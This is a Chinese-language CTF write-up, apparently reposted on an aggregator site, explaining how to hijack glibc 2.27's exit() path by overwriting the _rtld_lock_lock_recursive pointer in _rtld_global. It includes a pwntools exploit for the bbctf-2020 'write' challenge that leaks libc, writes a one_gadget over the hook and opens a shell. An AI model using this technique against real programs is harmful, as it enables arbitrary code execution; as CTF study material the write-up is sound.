exit_hook劫持

编程入门 行业动态 更新时间:2024-10-28 16:28:41

exit_hook劫持

exit_hook劫持

更改exit()某一结构体,再调用exit()可以实现程序流程的劫持。

原理分析

首先查看exit()源代码,我的libc=2.27

调用__run_exit_handlers函数,查看源代码,
exit.c 77行。

      while (cur->idx > 0){struct exit_function *const f = &cur->fns[--cur->idx];const uint64_t new_exitfn_called = __new_exitfn_called;/* Unlock the list while we call a foreign function.  */__libc_lock_unlock (__exit_funcs_lock);switch (f->flavor){void (*atfct) (void);    void (*onfct) (int status, void *arg);  void (*cxafct) (void *arg, int status);  case ef_free:case ef_us:break;case ef_on:onfct = f->func.on.fn;

发现三个关键call,

  void (*atfct) (void);    void (*onfct) (int status, void *arg);  void (*cxafct) (void *arg, int status);  

gdb动调,发现关键跳转

调用了_dl_fini函数,查看_dl_fini函数源代码。
dl-fini.c 46行

#ifdef SHAREDint do_audit = 0;again:
#endiffor (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns){/* Protect against concurrent loads and unloads.  */__rtld_lock_lock_recursive (GL(dl_load_lock));unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;/* No need to do anything for empty namespaces or those used forauditing DSOs.  */if (nloaded == 0
#ifdef SHARED|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif)__rtld_lock_unlock_recursive (GL(dl_load_lock));

发现call两个关键函数

 __rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));

在此我查看__rtld_lock_unlock_recursive定义

查看GL定义,

#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name

发现了_rtld_global结构体,
gdb下 p _rtld_global

找到函数地址存放位置,则__rtld_lock_unlock_recursive_rtld_global结构题的指针变量。在exit()中执行流程为
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由于__rtld_lock_unlock_recursive存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive,就可以在调用exit()时劫持程序流。
_rtld_lock_lock_recursive也是一样的流程。

实际利用

以bbctf-2020的write题为例。
题目地址

程序首先给了我们libc地址跟stack地址,然后允许你任意地址写,讲道理应该乱杀。思路本应该是system覆盖返回地址,然后
劫持程序,我想这是出题方的本意。但是最后程序在exit()中结束。当我们覆盖main()返回地址时发现无法被执行。这个时候就需要我们刚刚
讲的地方了。覆盖_rtld_lock_lock_recursiveone_gedget

exp

直接上exp把,只需要找到_rtld_lock_lock_recursive的地址就行.在_rtld_global结构体某一偏移。

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('write')
p = 0
def pwn(ip,port,debug):global pif(debug == 1):p = process('./write')else:p = remote(ip,port)def Pwn(addr,num):p.sendlineafter("(q)uit\n","w")p.sendlineafter("ptr: ",str(addr))p.sendlineafter("val: ",str(num))gdb.attach(p)p.recvuntil("puts: 0x")puts_addr=int(p.recv(12),16)libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")libcbase_addr=puts_addr-libc.symbols['puts']exit_hook=libcbase_addr+0x619f68one_gad=[0x4f2c5,0x4f322,0x10a38c]p.recvuntil("stack: 0x")stack_addr=int(p.recv(12),16)+0x20Pwn(exit_hook,libcbase_addr+one_gad[1])#Pwn(stack_addr+8,binsh_addr)#Pwn(stack_addr+16,system_addr)print "exit_hook=",hex(exit_hook)print "one_gadget=",hex(libcbase_addr+one_gad[1])p.sendlineafter("(q)uit\n","q")p.interactive()
if __name__ == '__main__':pwn('pwn.byteband.it',9000,1)

总结

这个知识点有时可以出其不意的偷家。

更多推荐

exit_hook劫持

本文发布于:2023-07-28 19:48:08,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1292018.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:exit_hook

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!